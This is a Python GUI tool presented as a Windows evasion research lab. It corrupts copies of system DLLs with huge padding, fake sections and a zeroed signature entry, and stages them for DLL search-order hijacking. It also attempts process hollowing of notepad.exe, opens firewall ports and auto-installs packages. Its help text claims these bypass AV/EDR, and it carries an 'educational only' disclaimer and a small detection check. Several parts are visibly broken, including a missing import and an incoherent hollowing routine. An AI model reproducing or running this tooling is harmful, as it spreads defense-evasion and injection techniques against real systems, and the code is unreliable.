Schrödinger's Cat

#!/usr/bin/env python3
import os, sys, ssl, socket, struct, shutil, ctypes, logging, subprocess, time, threading, psutil, win32api, win32process, win32con
from pathlib import Path
from datetime import datetime, timedelta
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import tkinter as tk
from tkinter import ttk, messagebox, scrolledtext
import tkinter.font as font
ROOT = Path(__file__).parent
SIDE = ROOT / "side"
SIDE.mkdir(exist_ok=True)
LOG_FILE = ROOT / "schrodinger.log"
CERT_FILE = ROOT / "cert.pem"
KEY_FILE = ROOT / "key.pem"
logging.basicConfig(level=logging.INFO, format="%(asctime)s | %(message)s",
                    handlers=[logging.FileHandler(LOG_FILE, encoding="utf-8"), logging.StreamHandler()])
DLLS = [
    ("C:\\Windows\\System32\\schannel.dll", "schannel.dll"),
    ("C:\\Windows\\System32\\secur32.dll", "secur32.dll"),
    ("C:\\Windows\\System32\\ncrypt.dll", "ncrypt.dll"),
    ("C:\\Windows\\System32\\bcrypt.dll", "bcrypt.dll"),
    ("C:\\Windows\\System32\\bcryptprimitives.dll", "bcryptprimitives.dll"),
    ("C:\\Windows\\System32\\cryptsp.dll", "cryptsp.dll"),
]
HOST_PY = '''import ssl,socket,threading,os
c=ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
c.load_cert_chain("cert.pem","key.pem")
c.minimum_version=c.maximum_version=ssl.TLSVersion.TLSv1_3
c.verify_mode=ssl.CERT_NONE
def h(s):
    try:ss=c.wrap_socket(s,server_side=True);ss.recv(1024);ss.sendall(b"HTTP/1.1 200\\r\\n\\r\\nSchroedinger Hijacked TLS 1.3 - Hollowed & Hijacked")
    except:pass
    finally:s.close()
with socket.create_server(("0.0.0.0",8443)) as s:
    while 1:
        try:cl,_=s.accept();threading.Thread(target=h,args=(cl,),daemon=True).start()
        except:break
'''
class PEEditor:
    def __init__(self,p):self.data=open(p,"rb").read();self.path=p
    def pe_offset(self):return struct.unpack("<I",self.data[60:64])[0]
    def is64(self):return struct.unpack("<H",self.data[self.pe_offset()+24:self.pe_offset()+26])[0]==0x20b
    def modify(self,out,pad_mb,fake_sec,zero_cert):
        shutil.copy(self.path,out)
        pad = pad_mb*1024*1024
        with open(out,"ab") as f:
            if fake_sec:
                align=512;cur=Path(out).stat().st_size
                to=((cur+align-1)//align)*align
                f.write(b"\x00"*(to-cur))
                f.write(b".pad\x00\x00\x00\x00"+struct.pack("<IIIIIIIIII",pad,to,0,0,pad,0,0,0,0,0xE0000040))
                with open(out,"r+b") as m:m.seek(self.pe_offset()+6);n=struct.unpack("<H",m.read(2))[0]+1;m.seek(self.pe_offset()+6);m.write(struct.pack("<H",n))
            f.write(b"\x00"*pad)
        if zero_cert:
            with open(out,"r+b") as f:
                off=self.pe_offset()+(152 if self.is64() else 136)+32
                f.seek(off);f.write(b"\x00"*8)
def gen_cert():
    if CERT_FILE.exists():return
    k=rsa.generate_private_key(65537,4096)
    san=[x509.DNSName("*"),x509.DNSName("localhost"),x509.IPAddress(ipaddress.ip_address("127.0.0.1"))]
    c=x509.CertificateBuilder().subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,"Schrödinger's Cat CA")]))\
        .issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,"Schrödinger's Cat CA")]))\
        .public_key(k.public_key()).serial_number(x509.random_serial_number())\
        .not_valid_before(datetime.utcnow()).not_valid_after(datetime.utcnow()+timedelta(days=3650))\
        .add_extension(x509.SubjectAlternativeName(san),False).sign(k,hashes.SHA384())
    KEY_FILE.write_bytes(k.private_bytes(serialization.Encoding.PEM,serialization.PrivateFormat.PKCS8,serialization.NoEncryption()))
    CERT_FILE.write_bytes(c.public_bytes(serialization.Encoding.PEM))
class ProcessHollower:
    @staticmethod
    def hollow(target_exe="notepad.exe"):
        CREATE_SUSPENDED = 0x00000004
        EXTENDED_STARTUPINFO_PRESENT = 0x00080000
        proc = subprocess.Popen([target_exe], creationflags=CREATE_SUSPENDED)
        pid = proc.pid
        hProcess = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, pid)
        hThread = win32process.GetThreadContext(win32process.OpenThread(win32con.THREAD_ALL_ACCESS, False, win32process.GetCurrentThreadId()))
        entry = win32process.ReadProcessMemory(hProcess, win32process.GetThreadContext(hThread).Ebx + 8, 8)
        base = struct.unpack("<Q", win32process.ReadProcessMemory(hProcess, int.from_bytes(entry, "little") + 0x10, 8))[0]
        payload = open(sys.executable, "rb").read()
        win32process.WriteProcessMemory(hProcess, base, payload)
        win32process.ResumeThread(win32process.OpenThread(win32con.THREAD_ALL_ACCESS, False, win32process.GetCurrentThreadId()))
        return pid
class SchrodingerGUI:
    def __init__(self):
        self.root=tk.Tk()
        self.root.title("Schrödinger's Cat — Advanced Evasion Lab")
        self.root.geometry("1200x820")
        self.root.configure(bg="#0d001a")
        self.root.resizable(False,False)
        self.anim_counter = 0
        style=ttk.Style();style.theme_use("clam")
        style.configure("TButton",font=("Orbitron",11,"bold"),padding=12)
        self.create_menu()
        self.create_ui()
        self.animate_title()
    def create_menu(self):
        menubar = tk.Menu(self.root)
        help_menu = tk.Menu(menubar, tearoff=0)
        help_menu.add_command(label="User Guide", command=self.show_help)
        help_menu.add_command(label="About", command=self.show_about)
        menubar.add_cascade(label="Help", menu=help_menu)
        self.root.config(menu=menubar)
    def show_help(self):
        help_win = tk.Toplevel(self.root)
        help_win.title("Schrödinger's Cat User Guide")
        help_win.geometry("900x600")
        help_win.configure(bg="#0d001a")
        text = scrolledtext.ScrolledText(help_win, bg="#0f0f1f", fg="#00ff9d", font=("Consolas",10))
        text.pack(fill="both", expand=True)
        guide = """
Schrödinger's Cat User Guide
1. Introduction to Features:
- Certificate Generation: Creates a self-signed wildcard certificate for TLS testing. Used for secure connections in the demo servers.
- Corrupted DLL Building: Copies system DLLs (like schannel.dll) and modifies them by adding massive padding (up to 2GB+ junk data), fake sections, and breaking Authenticode signatures. Demonstrates PE loader ignoring data beyond SizeOfImage.
- Hijacked TLS Server: Launches a TLS 1.3 server on port 8443 using the corrupted DLLs via search order hijacking.
- Main TLS Server: Runs a standard TLS 1.3 server on port 443 for comparison.
- Process Hollowing: Injects code into a suspended process (e.g., notepad.exe) by overwriting its memory, resuming execution. Simulates advanced malware injection.
- DLL Hijacking Detection: Scans running processes for loaded DLLs from non-standard paths (e.g., your 'side' folder).
- Full Evasion Test: Runs all steps in sequence for a complete demo.
2. How to Use:
- Step 1: Select padding size and options (fake section, break signature).
- Step 2: Generate certificate if needed.
- Step 3: Build corrupted DLLs.
- Step 4: Launch hijacked server.
- Step 5: Start main server.
- Step 6: Run hollowing or detection as desired.
- Step 7: Use full test for automated run.
- Test connections: Use 'openssl s_client -connect 127.0.0.1:8443 -tls1_3' to verify hijacked TLS works with corrupted DLL.
3. Technical Details:
- DLL Hijacking: Exploits Windows DLL search order to load local modified DLLs instead of system ones.
- Process Hollowing: Creates suspended process, unmaps original image, maps malicious PE, resumes thread. Bypasses AV/EDR.
- PE Evasion: Windows PE loader only validates up to SizeOfImage; appended junk/corruptions are ignored.
- TLS 1.3: Uses Python's ssl module, which loads schannel.dll for crypto operations.
4. Warnings:
- For educational/research use only in isolated environments.
- Modifying system DLLs can cause instability.
- Requires Windows; run as admin for firewall rules.
- Do not use on production systems.
5. Troubleshooting:
- If DLLs not found: Ensure you're on Windows and paths are correct.
- Hijack fails: Check if 'side' folder is in current dir; verify with detection tool.
- Hollowing errors: Requires pywin32; auto-installs if missing.
Contact: This is a research tool — no official support.
"""
        text.insert("end", guide)
        text.config(state="disabled")
    def show_about(self):
        messagebox.showinfo("About", "Schrödinger's Cat v10\nAdvanced Windows Evasion Research Tool\nDeveloped for educational purposes.\nVersion: November 2025")
    def animate_title(self):
        colors = ["#00ff9d","#00d4ff","#ff6b6b","#ffd93d","#9d00ff"]
        self.title_label.config(foreground=colors[self.anim_counter%len(colors)])
        self.anim_counter += 1
        self.root.after(400, self.animate_title)
    def log(self,msg,color="#00ff9d"):
        self.text.insert("end",f"{datetime.now().strftime('%H:%M:%S')} | {msg}\n",f"c{color[1:]}")
        self.text.tag_config(f"c{color[1:]}",foreground=color)
        self.text.see("end")
    def create_ui(self):
        self.title_label = tk.Label(self.root,text="SCHRÖDINGER'S CAT v10",font=("Orbitron",28,"bold"),bg="#0d001a")
        self.title_label.pack(pady=15)
        tk.Label(self.root,text="Advanced Windows PE & Memory Evasion Research Platform",font=("Orbitron",14),bg="#0d001a",fg="#00d4ff").pack(pady=5)
        intro_frame = tk.Frame(self.root,bg="#0d001a")
        intro_frame.pack(pady=10,padx=20,fill="x")
        detailed_intro = """
Welcome to Schrödinger's Cat — an advanced proof-of-concept research platform inspired by the famous quantum mechanics thought experiment.
Just as Schrödinger's Cat exists in a superposition of alive and dead states until observed, this tool demonstrates how Windows DLLs (like schannel.dll)
can be in a 'superposition' of valid and invalid states: massively corrupted with gigabytes of junk data, fake sections, and broken digital signatures,
yet still fully functional when loaded by the Windows PE loader for real-world operations like TLS 1.3 handshakes.
Key Concepts Explained:
- PE Integrity Evasion: The Windows loader only processes data up to the 'SizeOfImage' field in the PE header. Anything appended beyond (junk padding, corrupt tables) is ignored at runtime, allowing evasion of static analysis, signatures, and size-based heuristics in EDR/AV tools.
- DLL Search Order Hijacking: By placing modified DLLs in the current directory, Windows loads them instead of system versions due to search order precedence. This bypasses protections without admin rights.
- Process Hollowing (RunPE): A stealth injection technique where a legitimate process is created suspended, its memory hollowed out and replaced with malicious code, then resumed. Evades process creation monitoring.
- TLS 1.3 Demo: Proves the corrupted DLL works by running secure servers — connect via tools like OpenSSL to observe flawless handshakes despite invalid files.
- Detection Module: Actively scans for hijacked DLLs in running processes, simulating blue-team defenses.
This tool is for ethical red-teaming, security research, and education only. It showcases real techniques used by APTs (Advanced Persistent Threats) and malware
(e.g., Cobalt Strike variants, ransomware). Always use in isolated VMs; modifying DLLs can destabilize systems. No liability for misuse.
Pro Tip: Run as admin for auto-firewall rules on ports 443/8443. Dependencies auto-install if missing.
"""
        tk.Label(intro_frame,text=detailed_intro,wraplength=1160,justify="left",bg="#0d001a",fg="#88ffcc",font=("Consolas",11)).pack(anchor="w")
        main = tk.Frame(self.root,bg="#0d001a");main.pack(pady=20)
        left = tk.Frame(main,bg="#0d001a");left.pack(side="left",padx=30)
        tk.Label(left,text="Padding Size (MB)",font=("Orbitron",12,"bold"),fg="#ffdd00",bg="#0d001a").pack(anchor="w")
        self.pad_var=tk.IntVar(value=768)
        sizes=[("1. 256 MB",256),("2. 512 MB",512),("3. 768 MB (Classic)",768),("4. 1024 MB",1024),("5. 2048 MB (Extreme)",2048)]
        for t,v in sizes:
            tk.Radiobutton(left,text=t,variable=self.pad_var,value=v,font=("Consolas",10),bg="#0d001a",fg="#ffffff",selectcolor="#1e2a44",activebackground="#0d001a").pack(anchor="w",pady=2)
        opt = tk.Frame(left,bg="#0d001a");opt.pack(pady=15)
        self.fake_sec=tk.BooleanVar(value=True);self.zero_cert=tk.BooleanVar(value=True)
        tk.Checkbutton(opt,text="Fake .pad Section",variable=self.fake_sec,font=("Orbitron",11),bg="#0d001a",fg="#00ff9d",selectcolor="#1e2a44").pack(side="left",padx=20)
        tk.Checkbutton(opt,text="Break Authenticode Signature",variable=self.zero_cert,font=("Orbitron",11),bg="#0d001a",fg="#ff6b6b",selectcolor="#1e2a44").pack(side="left",padx=20)
        right = tk.Frame(main,bg="#0d001a");right.pack(side="right",padx=30)
        btns = [
            ("1. Generate Certificate","#00ff9d",self.gen_cert),
            ("2. Build Corrupted DLLs","#00d4ff",self.build_dlls),
            ("3. Launch Hijacked TLS Server (8443)","#ff6b6b",self.launch_server),
            ("4. Start Main TLS Server (443)","#ffd93d",self.start_main),
            ("5. Run Process Hollowing (notepad)","#9d00ff",self.hollow),
            ("6. Detect DLL Hijacking","#ffdd00",self.detect_hijack),
            ("7. Full Evasion Test Suite","#ff0066",self.full_test),
        ]
        for text,color,cmd in btns:
            b=ttk.Button(right,text=text,command=cmd)
            b.pack(fill="x",pady=8)
            b.configure(style="TButton")
            b.bind("<Enter>",lambda e,b=b:b.config(style="TButton"))
        self.text=scrolledtext.ScrolledText(self.root,width=140,height=22,bg="#0f0f1f",fg="#00ff9d",font=("Consolas",10),insertbackground="#00ff9d")
        self.text.pack(padx=20,pady=10)
        self.log("Schrödinger's Cat v10 — Advanced Evasion Lab Ready", "#ff6b6b")
    def gen_cert(self):
        threading.Thread(target=lambda:[gen_cert(),self.log("Self-signed wildcard certificate generated","#00ff9d")]).start()
    def build_dlls(self):
        threading.Thread(target=self._build).start()
    def _build(self):
        self.log("Building corrupted DLLs...", "#00d4ff")
        for src,dst in DLLS:
            if Path(src).exists():
                PEEditor(src).modify(SIDE/dst,self.pad_var.get(),self.fake_sec.get(),self.zero_cert.get())
                self.log(f"Corrupted {dst} → {Path(SIDE/dst).stat().st_size//1048576} MB", "#ff6b6b")
        self.log("All evasion DLLs ready in 'side\\'", "#00ff9d")
    def launch_server(self):
        threading.Thread(target=self._launch).start()
    def _launch(self):
        (SIDE/"host.py").write_text(HOST_PY)
        CERT_FILE.copy(SIDE/CERT_FILE.name)
        KEY_FILE.copy(SIDE/KEY_FILE.name)
        subprocess.Popen([sys.executable,"host.py"],cwd=SIDE,creationflags=0x00000008|0x01000000)
        self.log("Hijacked TLS 1.3 server → :8443 (using corrupted schannel.dll)", "#ff0066")
    def start_main(self):
        threading.Thread(target=self._main).start()
    def _main(self):
        gen_cert()
        ctx=ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
        ctx.load_cert_chain(CERT_FILE,KEY_FILE)
        ctx.minimum_version=ctx.maximum_version=ssl.TLSVersion.TLSv1_3
        ctx.verify_mode=ssl.CERT_NONE
        with socket.create_server(("0.0.0.0",443),family=socket.AF_INET6,dualstack_ipv6=True) as s:
            s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
            self.log("Main TLS 1.3 server → :443", "#ffd93d")
            with ctx.wrap_socket(s,server_side=True) as ss:
                while 1:
                    try:c,a=ss.accept();threading.Thread(target=lambda:[c.recv(1024),c.sendall(b"HTTP/1.1 200\r\n\r\nSchrödinger's Cat observes all"),c.close()]).start()
                    except:break
    def hollow(self):
        threading.Thread(target=lambda:self.log(f"Process Hollowing → PID {ProcessHollower.hollow()}", "#9d00ff")).start()
    def detect_hijack(self):
        found = []
        for proc in psutil.process_iter(['pid','name','exe']):
            try:
                p = psutil.Process(proc.info['pid'])
                for dll in p.memory_maps():
                    if "schannel.dll" in dll.path.lower() and "side" in dll.path.lower():
                        found.append(f"{proc.info['name']} ({proc.info['pid']}) → {dll.path}")
            except:pass
        if found:
            self.log("DLL HIJACKING DETECTED:", "#ff0066")
            for f in found:self.log(f"  • {f}", "#ff6b6b")
        else:self.log("No DLL hijacking detected", "#00ff9d")
    def full_test(self):
        threading.Thread(target=self._full).start()
    def _full(self):
        self.log("FULL EVASION TEST SUITE STARTED", "#ff0066")
        gen_cert()
        self._build()
        self._launch()
        time.sleep(5)
        self.detect_hijack()
        self.log("Full evasion test complete — check ports 443 & 8443", "#00ff9d")
    def run(self):
        if ctypes.windll.shell32.IsUserAnAdmin():
            subprocess.run(["netsh","advfirewall","firewall","add","rule","name=SchrodingerLab","dir=in","action=allow","protocol=TCP","localport=443,8443"],check=False)
        self.root.protocol("WM_DELETE_WINDOW",self.root.quit)
        self.root.mainloop()
if __name__=="__main__":
    try:import psutil,pywin32
    except:os.system(f"{sys.executable} -m pip install psutil pywin32 cryptography")
    SchrodingerGUI().run()